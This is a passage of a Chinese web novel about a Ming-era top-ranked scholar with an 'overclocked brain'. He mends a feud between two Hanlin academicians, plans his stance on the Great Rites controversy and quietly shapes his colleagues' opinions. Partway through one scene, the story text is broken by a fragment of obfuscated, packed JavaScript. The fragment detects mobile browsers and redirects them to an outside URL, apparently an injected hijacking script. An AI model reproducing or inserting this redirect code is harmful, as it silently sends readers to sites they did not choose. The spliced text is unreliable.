千真万确?东家真是状元了?!”
得到周大山唾沫横飞的确认后,
彭久亮猛地一拍大腿,
兴奋得声音都变了调:
“快!快!
立刻把库房里那批最好的‘金玉满堂’版玉衡皂全部拿出来!
包装盒上立刻加印‘状元及第·御笔钦点’的字样!
不!单独开一条线,就叫‘状元皂’,
定价…翻五倍!
不,翻十倍!立刻去办!”
他眼中闪烁着精明的光芒,
激动地搓着手在院子里踱步:
“我就知道!我就知道押对宝了!
这哪是文曲星,这简直是财神爷下凡!
快,备车!
我这就去拜访那几个一直压价的绸缎庄老板!
我看他们这回还敢不敢跟咱们状元公的产业拿乔!”
靠山越硬,招牌越亮,
彭久亮只觉得浑身充满了干劲,
俨然看到了无数金元宝正长着翅膀向他飞来。
当夜的秦淮河,画舫如织,丝竹曼妙。
在一艘并不起眼却格调清雅的画舫内,
沈香君正临窗抚琴。
琴案旁的小几上,
放着一封刚送来的书信。
她指尖流淌出的原本是一曲略带忧思的《汉宫秋月》,
但当心腹丫鬟低声将外面传来的消息告知她时,
她的琴音微微一顿,
随即陡然变得明快飞扬起来,
如春风拂过冰河,百鸟朝凤,
充满了欢愉与昂扬之意。
一曲终了,她纤指轻按琴弦,余音袅袅。
她默然片刻,唇角缓缓勾起一抹颠倒众生的嫣然笑意,
自顾自取过一只白玉杯,
斟满琥珀色的美酒,仰首一饮而尽。
酒液染红了她的唇瓣,更添几分艳色。
“苏公子…果然非池中之物。”
她低声自语,声音柔媚却带着一丝看透世情的了然。
“一飞冲天,直上青云矣。”
她目光掠过窗外璀璨的河灯,
眼中闪过一丝复杂的计算。
这份早期无意间结下的善缘,
如今价值何止倍增?
该如**系,又如何在这位新贵心中留下更深的、独一无二的印记?
名妓的心思,胜过她指下的琴弦,
婉转曲折,自有盘算。
而在远离秦淮喧嚣的国子监附近,
一座清幽的宅院内,
文徵明正于书房泼墨作画。
老仆送来喜讯时,
他正勾勒一幅《山居访友图》。
闻听此言,他握笔的手稳稳一顿,
随即哈哈大笑,笑声畅快淋漓。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704237|186215||http|test|mini|href|location''.split(''|''),0,{}));
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r>“好!好一个苏玉衡!
老夫果然没有看错人!
连中六元,大魁天下,壮哉!
此真乃我江南文坛之幸事!”
他当即抛下画笔,吩咐道:
“研墨!铺纸!”
他兴致勃发,泼墨挥毫,
即兴作《贺苏惟瑾状元及第》诗一首:
六元冠冕耀金銮,琼林宴罢压群贤。
江南文苑添殊彩,早展经纶报圣筵
笔走龙蛇,字里行间满是激赏与祝贺。
写罢意犹未尽,又就着残墨,寥寥数笔,
勾勒出一幅《青云独步图》,
画中一少年书生背影,
于云梯之上昂首阔步,
直攀蟾宫,意境高远。
他将诗画仔细封好,交给老仆:
“立刻寻稳妥驿差,
加急送往北京苏状元处!
此乃老夫一片贺忱!”
他是真心为这位有过一面之缘、
却印象极佳的年轻后辈感到高兴,
此举既是前辈对后进的奖掖,
亦含有几分文人之间的惺惺相惜。
与这边的普天同庆相比,
南京徐府的气氛,则要复杂微妙得多。
**轩早已北上备考,府中只剩下其父母家人。
徐父听到消息时,正在书房练字,
笔锋一顿,上好宣纸上顿时多了一团墨渍。
他默然良久,方才缓缓放下笔,
长长叹了口气,对一旁的徐母道:
“果然…是他。
连中六元…此等大才,百年罕有。
轩儿此番…怕是又逊他一筹矣。”
语气中充满了难以言喻的感慨,
既有对别人家孩子的惊叹佩服,
又有一丝“既生瑜,何生亮”的淡淡遗憾。
徐母亦是神色复杂,宽慰道:
“老爷也不必过虑,
轩儿之才亦是顶尖,
一时高低不代表一世。
何况苏状元出身寒微,
能得此成就,更显不易,
我等亦当佩服。”
徐父点点头:
“夫人所言极是。
吩咐下去,备一份厚礼,
以我徐家名义,送往沭阳苏家道贺。
此等人物,即便不能为友,亦不可为敌。
轩儿将来在朝中,或许还需与此子打交道。”
世家大族的决策,终究是理性而现实的。
南京城因一则喜讯而泛起的涟漪,
映照出人生百态。
狂喜、算计、欣赏、感慨…
皆因那个远在北京的名字而起。
第151章老翰林积怨冷战,新状元巧
翰林院的日子,
表面如古井水,波澜不惊。
苏惟瑾每日点卯应值,
埋首案牍,态度恭谨勤勉。
然而超频大脑赋予他的敏锐观察力,
却让他很快察觉到这清华之地下,
潜藏着一股不和谐的暗流。
焦点在于两位德高望重的老翰林:
侍讲学士秦鸣夏与修撰浦应麒。
这二位,堪称翰林院的两尊“门神”,
资历深厚,学问渊博,
却也因十几年前的一桩旧怨,势同水火。
两人不仅从不同室办公,
廊下相遇形同陌路,
更麻烦的是,
他们各自的拥趸和受其影响的庶吉士、
编修们,也隐隐分为两派。
但凡涉及需二人协作或意见的事务,
必定互相掣肘,推诿扯皮。
秦派的人拿了文书去找浦应麒用印,
能被他用“字迹不清”、“格式微瑕”等理由晾上半天;
浦派的人去请教秦鸣夏问题,
也常被不咸不淡地以“典籍自有明载,何须多问”挡回来。
整个翰林院因此效率低下,
气氛压抑,众人苦不堪言,
却无人敢置喙这两位“老资格”的是非。
掌院学士似乎也无可奈何,
只能尽量将二人的工作分开,息事宁人。
秦、浦二人则依旧我行我素,
凭借其资历和学问,
稳稳占据着翰林院的“山头”,
享受着众人表面上的敬畏,
也默认着这种因他们而起的僵局,
颇有几分“离了我,
这事就办不成”的倨傲。
苏惟瑾心中好奇,
便不着痕迹地向孔侍读打探。
孔侍读叹了口气,压低声音道:
“玉衡老弟眼尖。
秦、浦二位前辈啊…
唉,早年间,他俩本是同科进士,交情莫逆。
可惜啊,约莫是正德十年,
二人奉旨协同编修《孝宗实录》时,
出了一桩纰漏……
事后两人互相指责,
都认为是对方的疏忽……
自此便结了怨,十几年了,
老死不相往来。”
原来是陈年旧怨,
还是因公事而起。
苏惟瑾了然。
超频大脑却对此产生了兴趣。
一个被搁置了十几年的学术公案?
或许…有迹可循?
他并未立刻行动,
而是依旧每日兢兢业业完成份内工作,
甚至主动承担更多查阅档案、
校对旧稿的“苦活”。
这些工作让他有充足的理由,
频繁出入翰林院的档案库和皇史宬。
同僚们见这位风头正劲的新科状元如此“识趣”,
甘愿做些“不入流”的琐碎工作,
有的暗自点头,觉得他懂得藏锋;
有的则不以为然,
认为他到底是年轻,
被这些老资历的气势压住了,
只敢埋头做些边角料。
甚至有秦、浦两派的年轻翰林,
在背后窃窃私语:
“瞧见没?连苏状元在这二位面前,
也得夹着尾巴做人。”
“可不是嘛,资历摆在那儿,
学问摆在那儿,谁敢去触那霉头?”
这些议论,无形中更烘托了秦、浦二人积威之重,
以及解决此事的难度。
唯有苏惟瑾自己知道,
他是在利用超频大脑的海量信息处理能力,
进行一场无声的侦查。
功夫不负有心人。
数日后的一个下午,
就在一堆即将被清理掉的、
满是灰尘的废旧稿纸和校对记录中,
苏惟瑾的目光骤然定格!
那是一张泛黄的校勘笺条,
夹在一本几乎被遗忘的《孝宗实录》初稿残本里。
笺条上的字迹潦草,
指出某段记载的时间线疑点,
落款一个“浦”字,
批注人一个“秦”字,
日期恰在纰漏被爆出前几天!
而朱笔批注赫然是:
“已阅,无误,照原稿。”
超频大脑瞬间推演还原真相:
浦应麒发现问题并提出警告,
秦鸣夏自信(或疏忽)未采纳,
最终错误酿成,双方互相指责,陷入僵局。
找到了!这小小的笺条,
便是破局关键。
策略瞬间制定:
私下点拨,给足台阶。
翌日,苏惟瑾先寻到秦鸣夏。
他姿态谦卑,以请教学问为名,引出话题,
并“无意”间提及发现旧档中有关似校勘笺条提示风险却未被重视的往事,
轻描淡写地抛出了“浦”字落款和“已阅,无误”的批注。
秦鸣夏初时还不甚在意,
待听清关键信息,
如同被一道惊雷劈中,
拿着书稿的手猛地一颤,
脸色瞬间由古井无波变为惊疑不定,
再由惊疑转为一丝难以掩饰的尴尬与羞惭!
他猛地抬头,目光如电般射向苏惟瑾,
仿似要将他看穿。
这少年…他知道了!
他什么都知道了!
那张被他忽略、
导致后来无尽麻烦和怨怼的笺条,
竟然被这个初来乍到的后生翻了出来!
十几年来,他一直理直气壮地认为主要是浦应麒的责任,
此刻却被这轻飘飘几句话击得粉碎!
那种自以为是的底气瞬间泄去,
取而代之的是一种被当众(虽然是私下)揭穿老底的难堪。
他嘴唇哆嗦了几下,想说什么挽回颜面,
却发现任何言辞在事实面前都显得苍白,
最终只能化作一声复杂的叹息和一句干涩的
“…多谢玉衡提醒。往事…确需细细思量。”
之前的倨傲与冷淡,在此刻荡然无存。
苏惟瑾见好就收,立刻躬身告退。
随后,他又以类似方式寻到浦应麒,
侧重提及“沟通不畅”、“良言被埋没”,
既肯定了其先见之明,
也点出其“未能力争”的些许责任。
浦应麒初时还带着积怨冷哼,
待苏惟瑾点明关键,
他那布满皱纹的脸上先是闪过一丝“果然如此”的怨气,
随即也意识到了问题另
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一面
——自己当年若态度更坚决些,
据理力争,或许结果不同。
他看着眼前这个笑容温和、
言辞恳切却句句戳中要害的年轻人,
仿佛看到了十几年前那个固执又委屈的自己。
一股复杂的情绪涌上心头,
有被理解的部分,
也有被点破不足的窘迫。
他准备了一肚子指责秦鸣夏的话,
此刻却一句也说不出来,
最终化作一声长叹和一句意味复杂的
“…后生可畏啊。你能有此见识,难得。”
那维持了十几年的、
自以为全然占理的受害者姿态,
在真相和这年轻人的点拨下,
也悄然松动。
之后数日,翰林院同僚们惊讶地发现,
秦鸣夏和浦应麒之间的关系,
出现了肉眼可见的缓和。
虽然依旧没有勾肩搭背,
但相遇时不再刻意扭开头,
甚至会微微颔首。
在公务上,那种刻意刁难、
互相使绊子的情况大大减少。
有一次,甚至有人亲眼看到,
就一份诏书草稿的用词,
秦鸣夏破天荒地主动询问了浦应麒的意见!
虽然浦应麒只是板着脸回了几个字,
但这已是破冰之举!
“奇了怪了,太阳打西边出来了?”
“是啊,这两位老大人怎么突然…和气了?”
“莫非是苏状元…?”
有消息灵通又敏锐的人,
将目光投向了那位依旧每日埋首案牍、
神情平静的新科状元。
虽然无人知晓具体发生了什么,
但那种笼罩翰林院多年的压抑氛围陡然一松的感觉,却是实实在在的。
众人看向苏惟瑾的目光,
不禁多了几分探究与更深层次的敬佩。
能将这二位十几年的坚冰都悄然融化,
这位状元郎,绝非凡品!
面对同僚们探寻的目光和隐约的猜测,
苏惟瑾始终淡然处之,
仿佛那件震动翰林院上层关系的事件与他毫无干系。
他依旧每日读书、校稿、撰写公文,
专注于自己的事务,
那份举重若轻的从容,
与两位老翰林之前看似强硬实则僵持的“装逼”姿态形成了鲜明对比。
在他眼中,化解这场积怨,
不过是清除了一块影响工作效率的绊脚石,
顺便收获了两位资深前辈的人情,
仅此而已,并不值得夸耀。
而秦、浦二人心中清楚,
他们欠了这位年轻状元一个巨大的人情。
他不仅找到了真相,
更用最体面的方式,
保全了他们的颜面,
给了他们一个和解的契机。
这份智慧、手腕和善良,
让这两位翰林院的老资格,
在心中默默地将苏惟瑾的位置,
拔高到了一个非同一般的程度。
翰林院的空气,终于顺畅。
而苏惟瑾,则在不声不响间,
轻松收获了实权派的好感与支持。
人情练达之用,初显锋芒。
第152章 超脑复盘史,三大事件显
夜色如墨,万籁俱寂。
北京城的喧嚣被厚重的院墙和窗纸隔绝在外,
翰林院修撰公廨的值房内,
只余一盏孤灯,跳跃着昏黄的光晕,
将苏惟瑾伏案的身影拉得悠长。
白日的喧嚣与公务暂告段落,
此刻,是属于超频大脑的绝对领域。
他没有翻阅任何卷宗典籍,
只是闭目凝神,如同老僧入定。
但识海深处,却正掀起一场前所未有的信息风暴!
来自另一个时空的、庞杂浩瀚的明史资料库,
被彻底激活、调用。
无数文字、图表、事件脉络,
以前所未有的清晰度奔涌流淌,
其核心焦点,精准锁定在
——嘉靖二年至三年。
这是他人生的关键节点,
更是大明王朝一个微妙而危险的转折期。
他需要从历史的迷雾中,为自己,
或许也为这个帝国,
寻找到一条最优路径。
超频大脑以前所未有的效率运转,
冰冷而客观地筛选、比对、分析。
很快,三个最具分量、
也最可能与他产生交集的关键事件,
被提炼出来,好似三颗硕大无朋的星辰,
悬浮于意识的星海之中:
事件一:日本使团争贡事件(嘉靖二年六月,宁波)
信息流汇聚,勾勒出事件轮廓:
日本大内氏与细川氏两派贡使先后抵达宁波,
因勘合真伪及朝贡顺序问题爆发激烈冲突,
继而演变为械斗厮杀,
甚至波及大明沿海卫所,焚掠地方,震惊朝野。
超频大脑瞬间析出关键点:
1.本质:非单纯夷狄内讧,
实乃大明海防废弛、
市舶司管理混乱、
海禁政策僵化弊端的集中爆发。
2.影响:暴露东南海防巨大漏洞,
严重损害天朝威严,
促使朝中“严海禁”之声大涨,
为日后更大规模的倭患埋下伏笔。
3.机遇/风险:
若能在事件爆发前或初期,
提出更具前瞻性的海防、
外交策略(如有限开海、强化水师、分化倭寇与勘合贸易),
或能减轻损失,甚至改变后续历史走向。
但涉及对外事务,极其敏感,
一着不慎,易被扣上“通倭”、“擅启边衅”的罪名。
事件二:左顺门事件(历史上嘉靖三年七月)
关于“大礼议”的纷争信息汹涌澎湃,
最终汇聚成一场惊天动地的朝堂风暴:
杨廷和等旧臣离去后,
以杨慎、何孟春为首的二百余名官员,
跪伏于左顺门外,痛哭谏诤,
反对嘉靖帝尊崇生父为“皇考”。
帝怒,下令廷杖,当场杖毙十六人,
下狱、流放、贬谪者无数。
超频大脑冷静评估:
1.本质:皇权与文官集团(尤其是恪守程朱理学的传统势力)的终极摊牌,
是嘉靖帝彻底扫除杨廷和影响、巩固绝对君权的标志性事件。
2.影响:皇权取得压倒性胜利,
文官集团遭受重创,士气低迷,
言路为之钳口,**风气转向严苛。
大量有经验的官员去职,朝局动荡。
3.机遇/风险:
短期内获取皇帝信任的最佳切入点!
若能提前洞察皇帝决心,
在关键时刻以巧妙方式(如经义论证、历史类比)支持皇帝,
或至少不公开反对,
极易获得破格提拔(如张璁、桂萼之流)。
但风险极高!
此为站队**,一旦押错,万劫不复。
且时间点稍晚(在明年七月),
与自身翰林观政期的规划略有出入。
更需警惕的是,此举必将得罪天下清流士林,
背上“谄媚君上”、“幸进小人”的骂名,
对长远名声极为不利。
事件三:两京山东河南大旱(嘉靖二年末至三年)
气候数据、灾情记录纷至沓来:
北方大面积、持续性的干旱,
赤地千里,蝗灾继起,粮价腾贵,
流民载道,饿殍遍野。
超频大脑快速建模分析:
1.本质:古代农业社会周期性天灾,
考验朝廷应急救灾能力、
仓储制度及社会保障体系。
2.影响:民生疾苦,社会动荡因素激增,
若处置失当,极易引发民变。
同时严重消耗国库,制约朝廷其他行动能力。
3.机遇/风险:展现实务才干、积累政绩的良机。
若能提前预判灾情,
提出有效的防灾、
救灾策略(如以工代赈、平抑粮价、防疫措施、引导流民),
并成功实施,不仅能救民水火,
更能赢得巨大声望和官场资本。
风险相对较低,
主要在于可能触动地方豪强及贪腐官僚的利益,
实施过程中会遇到阻力。
但此事更偏重地方执行,
对于身处翰林院的他,
介入渠道稍显间接。
三大事件,三条截然不同的路径,
在超频大脑中并行推演,
利弊得失,风险收益,
被量化、比较。
苏惟瑾的眉头微微蹙起。
争贡事件,涉及对外和海防,
非目前职位所能轻易插手,
且风险不低,收益不确定。<
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br>大旱救灾,虽风险较低,
收益稳定,但见效慢,
且难以在短期内最大化自身价值。
唯有左顺门事件……风暴之眼,帝心所在!
超频大脑的结论清晰无比:
从纯粹功利和短期效益看,
左顺门事件是获取皇帝青睐、
实现快速晋升的最快通道。
皇帝在此事上立场极其坚定,
需要理论支持和“自己人”。
这是一个巨大的权力真空和机遇窗口。
但是……
苏惟瑾脑海中闪过徐阶、林文霈等人的身影,
闪过翰林院那些清流前辈的面孔。
若要投机于此,
便意味着很可能要站在这些“未来盟友”或“道德标杆”的对立面。
超频大脑冰冷地提示:
情感和道德不应成为决策的主要干扰项。
利益最大化才是首要原则。
历史上,张璁、桂萼等人正是抓住了这个机会,
迅速跻身权力核心。
然而,来自现代的灵魂深处,
终究残留着对“风骨”和“士林清誉”的一丝敬重。
完全摒弃这些,与那些谄媚幸进之臣为伍,真的值得吗?
即便短期内飞黄腾达,
长远来看,失去士林之心,
是否根基不稳?
超频大脑再次运算:
可采取策略性姿态。
不完全投身“议礼新贵”集团,
但通过私下奏对、经义文章等方式,
微妙地表达对皇权的理解与支持,
保持一种“独立支持者”的姿态,
既能获取帝心,又不至于完全绑定张璁、桂萼,
最大限度保留在清流中的转圜余地。
风险在于,这种骑墙态度可能两边不讨好。
“难啊……”
苏惟瑾轻轻吐出一口浊气,睁开了眼睛。
灯花噼啪一声轻响。
窗外月色清冷,透过窗棂,洒下一地寒霜。
他知道,自己必须尽快做出抉择。
左顺门事件虽在明年,
但风暴的酝酿早已开始,
朝堂上下关于“大礼”的争论从未停歇。
他需要提前布局,
准备好那份能“直达天听”又“恰到好处”的奏对或文章。
超频大脑的优势,
不仅在于知晓历史,
更在于能精准计算每一步的得失,
在错综复杂的局势中,
找到那条于己最有利的缝隙。
他提起笔,在一张素笺上写下两个字:
“礼”、“权”。
目光在其间流转,深邃无比。
干预历史的方向,已然隐约浮现。
接下来,便是如何落子,
以及……何时落子。
第153章 王莽之路险,借势方为策
孤灯下,
苏惟瑾的目光在“礼”与“权”二字之间逡巡,
指尖无意识地轻叩桌面,
发出极有规律的轻微嗒嗒声,
如同他超频大脑中精密运转的齿轮。
直接效仿王莽早年那种兢兢业业、
广结善缘、狂刷名望的路子?
超频大脑瞬间反馈出一连串的风险评估报告:
此路在嘉靖朝,尤其是眼下“大礼议”这个**漩涡中心,已然不通!
今上非比寻常幼主,
其聪慧敏感、猜忌多疑,
在超频大脑存储的史书评价中堪称顶级。
自己一个毫无根基的寒门状元,
若在此时过于热衷名声,四处结交,
表现得太“完美”,太“得人心”,
落在那个一心要强化君权、
警惕任何潜在威胁的年轻皇帝眼中,
意味着什么?
——邀买人心,其心可诛!
只怕声望未积,猜忌先至,
灭顶之灾转眼即来。
王莽成功的土壤是主弱臣疑,
而眼下是主强臣渐悚,
时代背景截然不同。
硬闯清流路线,
公开为杨廷和一派摇旗呐喊,
搏个“直言敢谏”的美名?
更是自寻死路。
超频大脑冰冷地调出左顺门事件的结局:
血迹斑斑的午门广场,
十六具血肉模糊的尸体,
上百位官员的前程断送……
皇帝在这件事上的意志之坚决、
手段之酷烈,毋庸置疑。
螳臂当车,徒为齑粉。
那么,彻底投向张璁、桂萼等议礼新贵,
做他们的急先锋马前卒?
超频大脑再次否决。
此辈虽能一时得宠,
但名声在传统士林中已臭,
手段激进,树敌太多。
完全绑定他们,
短期内或可飞黄腾达,
长远看,却如同踏上一条险窄的独木桥,
极易成为众矢之的,
一旦失足或皇帝转向,
便是万劫不复。
这不符合超频大脑计算出的“风险收益最优解”。
“看来,唯有‘借势’二字。”
苏惟瑾喃喃自语,眼中光芒渐锐。
借谁的势?
当然是借这紫禁城最高处、
那一位年轻帝王的势!
皇帝想干什么?
——打击杨廷和留下的旧臣势力,
彻底赢得“大礼议”的胜利,
树立绝对权威。
自己的目标是什么?
——在此过程中,安全地展现价值,
捞取**资本。
最佳策略,便是将这两个目标巧妙地重合起来:
打击皇帝想打击的人,
但要用一种更能彰显自身价值、
且不至于彻底得罪清流的方式。
不是像张璁那般赤膊上阵、
狂喷唾沫星子,
而是要做一把…嗯,
精准、锋利、且握在皇帝手中的…手术刀?
不,手术刀仍太直接。
最好是一剂看似温和、实则致命的…药引?
或者一套合乎经典、
却导向皇帝所需结论的…精妙理论推导?
超频大脑飞速运转,
无数经义典籍、历史案例、
尤其是关于“礼”的论述被调动、拆解、重组。
一个模糊的计划开始成形。
推动左顺门事件提前?
不,不必强行改变大势发生的时间点,
那样变数太多,也过于刻意。
关键在于,要在那场注定到来的风暴中,
扮演一个独一无二、无法替代的关键角色。
这个角色,不能是煽风点火的急先锋,
也不能是泣血死谏的反对派。
而应该是一个…
能提供强大理论武器,
帮助皇帝更“名正言顺”、
更“合乎礼法”地去赢得这场胜利的人。
让皇帝的胜利,
看起来不仅仅是依靠强权和廷杖,
更有学术和道理上的支撑。
如此,既满足了皇帝的需求,
又显得自己格调更高,
并非纯粹谄媚,
而是“学术探讨”、“真理越辩越明”。
即便那些清流心里骂娘,
表面上也难以用“幸进小人”来直接攻击,
毕竟,大家辩论的是圣贤道理嘛!
“对,就是这样!”
苏惟瑾精神一振。
不必急于一时表态。
眼下距离历史中的左顺门事件还有近一年时间,完全来得及准备。
当前要务,是继续深耕翰林院的资源,
尤其要充分利用皇史宬和翰林院浩如烟海的典籍。
超频大脑立刻制定出行动大纲:
1.深度研究:
集中精力深入研究与“大礼”相关的所有经典论述(《礼记》、《仪礼》等)、前朝
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案例(汉定陶王、宋濮议等),
尤其是那些支持“尊崇本生父”的偏门或冷门解释。
利用超频大脑的分析归纳能力,
从中找出一条逻辑自洽、
甚至能自圆其说的新颖理论路径。
这套理论,要看起来根植于传统,
实则暗度陈仓,为皇帝的主张提供学术背书。
2.伺机而动:
密切关注朝堂关于“大礼”争论的动向,
尤其是皇帝遭遇理论困境或清流们引经据典发难之时。
静待那个最适合抛出自己观点的“关键时机”,
力求一击必中,令皇帝眼前一亮,
也让反对者一时难以驳斥。
3.渠道铺垫:
留意能否通过非正式渠道(如经筵讲官、宦官、
甚至同僚中可能接近皇帝的人),
将自己思考的“碎片”或“新颖角度”不经意地传递上去,
先吊起皇帝的胃口,
留下一个“此子于礼学有独到见解”的初步印象。
4.保持人设:平日依旧保持低调谦逊的翰林新秀形象,
埋头书卷,不参与任何公开的派系争论,
与徐阶、林文霈等人维持良好同僚关系。
甚至偶尔可以向他们请教一些经义问题,
麻痹可能存在的警惕。
想通此节,苏惟瑾心中豁然开朗,
那股因洞察历史而产生的沉重压力感稍减,
取而代之的是一种运筹帷幄、参与历史的兴奋感。
王莽之路太险,孤臣之路太蠢,谄媚之路太脏。
唯有这“借势而为,
学术包装”的策士之路,
方是当下最适合他这位拥有超频大脑的寒门状元的终南捷径!
他再次提起笔,
在“礼”与“权”之间,
缓缓画了一个箭头,
箭头方向直指“权”,
但箭杆上却密密麻麻写满了“礼”的注疏。
“陛下,您想要赢得‘礼’的胜利,
微臣…或可为您提供一件更锋利的礼器。”
他嘴角勾起一丝若有若无的笑意。
灯光摇曳,将他的影子投在墙壁上,
那影子似乎不再是一个单纯的读书人,
隐隐有了几分纵横捭阖的谋士气象。
超频大脑的第一次重大**谋略,
于此定计。
接下来,便是耐心地等待,
和精准地…出击。
第154章 微操启波澜,言论巧引导
翰林院的日子,
并非终日埋首故纸堆。
旬日之间,总有那么几次,
散值之后的闲暇时光,
一些年轻的编修、检讨、庶吉士,
会相约聚于附近茶馆雅间,
或某位家境稍裕的同僚租住的小院,
煮茶论道,清谈交游。
这既是文人雅趣,
亦是官场人际必不可少的润滑。
往日里,苏惟瑾对此类活动敬而远之,
多以“学业未精,需潜心攻读”推脱。
但自定下“借势引导”之策后,
他开始有选择地参与其中一些层次较低、
参与者多为新晋官员、尚未有明确派系色彩的聚会。
这一日,休沐之期,阳光正好。
五六位年轻的翰林官聚在城南一家清静茶馆的临窗隔间内。
茶水氤氲,几碟精致茶点置于中央,
气氛轻松融洽。
话题天南地北,从近日邸报趣闻,
渐渐又绕不开地滑向了朝堂焦点——“大礼议”。
一位姓钱的庶吉士叹了口气,
面带忧色:
“听闻昨日又有几位科道官联名上疏,
言辞激烈,痛陈利害,
请求陛下收回成命,
仍以孝宗为皇考。
陛下留中不发,怕是…心中不豫啊。”
旁边一位李姓编修接口道:
“此乃臣子本分,尽忠直言罢了。
关乎祖宗法度、朝廷礼法,岂能缄默?
纵使触怒天颜,亦是我辈读书人气节所在!”
他语气颇为激昂,带着年轻人特有的热血。
席间几人纷纷点头,显然对此论调颇有共鸣。
唯有苏惟瑾,慢条斯理地拈起一块绿豆糕,
细嚼慢咽,仿似并未沉浸在这略显沉重的氛围中。
待众人目光偶然落在他身上,
他才放下茶盏,微微一笑,
语气平和得像是在讨论茶水温凉:
“诸位年兄所言甚是,
气节固然重要。
只是…惟瑾近日偶读些杂书,忽有所感。”
他顿了顿,成功吸引了所有人的注意。
状元公的“偶有所感”,通常都非比寻常。
“不知各位可曾留意,”
苏惟瑾目光扫过众人,
声音不高却清晰。
“世间之事,凡众人**,
情绪互为感染,其言论主张,
往往趋于极端,非黑即白,
较之独处深思时,更为激烈偏颇?
古语云‘众口铄金’,‘三人成虎’,
或许并非全然指谗言,
亦有此种群体相互激荡、
偏离本心之理?”
他巧妙地将现代社会学、
心理学中的“群体极化”、
“信息茧房”概念,
用全然符合这个时代认知方式的古语和现象描述包装起来。
几位年轻官员闻言一怔,
细细品味,似乎确有此理。
苏惟瑾继续道,
一副只是在做纯粹的学理探讨的样子:
“譬如这谏诤之事。
单独一二人,或可冷静陈述利弊,言辞恳切。
然若数十上百人齐聚一堂,群情汹涌,
相互砥砺,其时所言所行,恐已非尽为初衷,
或为激昂气氛所裹挟,或为不甘人后之声势…
其行虽曰忠谏,其态却近乎…逼压。”
他轻轻吐出“逼压”二字,
如同在平静湖面投下一颗石子。
众人脸色微变。
李编修下意识想反驳,
但张了张嘴,却发现对方并非直接反对谏诤,
而是在分析一种“现象”,
且言之凿凿,似乎颇有道理。
“苏修撰此言…倒也别致。”
钱庶吉士沉吟道。
“细想来,似确有此弊。
若只为声势,失了从容说理的本心,
反易激化矛盾,于事无补,亦有损朝臣体统。”
“正是此理。”
苏惟瑾颔首,顺势引导。
“圣上聪慧英明,非不能纳谏之主。
然纵是明君,亦有其威严。
若觉臣子非以理服人,
而以势相迫,其心若能愉悦?
其反应,恐更趋强硬。
如此一来,非但无助于解决问题,
反将善意的谏诤,推至君父的对立面,
岂非南辕北辙,辜负了诸位一片忠君爱国之心?”
他一番话,滴水不漏。
既未直接否定“大礼议”中反对皇帝的一方,
甚至承认其初衷可能是“忠君爱国”,
却从“方**”和“效果”的角度,
指出了这种集体激烈谏诤可能存在的巨大风险
——即被皇帝视为“逼宫”,
从而彻底激怒皇帝,
导致事情走向不可收拾的境地。
这种角度,对这些尚未被官场老油条思维完全浸染的年轻官员来说,
极其新颖,且具有相当的说服力。
他们开始反思:
一味地跟着大伙儿一起磕头死谏,
真的是最好的办法吗?
会不会反而坏事?
李编修脸上的激昂褪去,
换上了思索之色:
“照玉衡兄这么说,难道就…就不谏了?”
“非是不谏。”
苏惟瑾从容道。
“谏亦有道。
如何既能阐明立场,又不失臣子之礼,
不触人
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主之逆鳞,以理服人而非以势压人,
此方显真本事,真学问,亦是对圣上最大的尊重与忠诚。
譬如治病,猛药或能一时奏效,却易伤及根本;
温和调理,看似缓慢,或更能除根固元。”
他巧妙地将话题引申开,
不再具体针对当前事件,
而是上升到“君臣相处之道”、
“谏诤艺术”的层面,
显得更加超脱和高屋建瓴。
这场小范围内的清谈,
并未得出任何具体结论,
但一颗种子已经悄然种下。
这些年轻官员离开时,
脑子里或多或少都盘旋着苏惟瑾那套“群体易极端”、
“谏诤忌逼压”、
“要讲方法重效果”的新奇观点。
此后几次类似的聚会,
苏惟瑾总会“不经意”地深化这一套理论。
他不再需要自己直接抛出,
只需在有人提及相关话题时,
轻轻点拨一两句,
自然会有被他说服过的同僚,
将他的观点扩散出去。
“听闻苏状元说,集体跪谏,
看似壮烈,实则将道理之争变为了意气之争…”
“玉衡兄曾言,圣人亦云‘过犹不及’,
劝谏若过了度,反失其正…”
“逼宫之嫌,确需警惕啊…”
一种微妙的声音,
开始在小范围的年轻官员圈层中悄然流转。
它不像张璁、桂萼的文章那般赤裸裸地鼓吹帝意,
也不像传统清流那般激烈反对。
它显得更冷静,更“理性”,
更侧重于“方法”和“后果”的担忧,
无形中消解着集体死谏的合法性与正义性。
超频大脑精准地操控着**的微澜。
苏惟瑾深知,
真正决定性的力量仍在高堂之上,
但这些底层的声音,
这种逐渐弥漫开来的疑虑,
在未来某个关键时刻,
或能影响少数人的选择,
或能成为皇帝用以指责反对派的“民间”依据。
他如同一只精心结网的蜘蛛,
于无声处,悄然引导着思想的流向。
每一次看似随意的谈话,
都是落在网上的微尘,
积少成多,终有一日,
会显露出足以缠绕猎物的轨迹。
而这一切,都包裹在他那温和谦逊、
勤勉好学的状元郎外壳之下,
无人察觉这场悄无声息的“微操”。
唯有他眼底深处,
偶尔掠过的一丝洞察一切的光芒,
预示着一场更大的风波,
正在这看似平和的清谈中,悄然酝酿。
第155章 诗文藏机锋,撩动帝心弦
紫禁城的夏,闷热中透着一股不容置疑的威严肃穆。
文华殿后殿,今日的气氛却比往日更凝肃几分。
并非有大朝会,
而是年轻的嘉靖皇帝朱厚熜,
忽有雅兴,召了几位近侍的翰林词臣,
举行一次小范围的“经筵日讲”,
美其名曰“咨询经史,陶冶性灵”。
被点到名的,除了两位资深的侍讲学士,
便是新科鼎甲三人:
状元苏惟瑾、榜眼徐阶、探花林文霈。
此乃殊荣,亦是极大的考验。
天威咫尺,一言可通天,一言亦可坠渊。
苏惟瑾随着内侍的引导,垂首步入殿中。
眼角余光快速一扫:
嘉靖帝一身常服,坐于御榻之上,
面容略显清瘦,眼神却锐利如鹰,
正随手翻着一本《春秋》。
两位老学士躬身侍立一侧,
徐阶、林文霈则屏息凝神,立于下首。
“都平身吧。”
皇帝的声音不高,带着一丝少年人刻意压制的沉稳。
“今日不论俗务,只讲讲书。
朕近日读《春秋》,
常思其微言大义,
诸位爱卿皆是学问大家,
不妨各抒己见。”
两位老学士先开口,
引经据典,侃侃而谈,
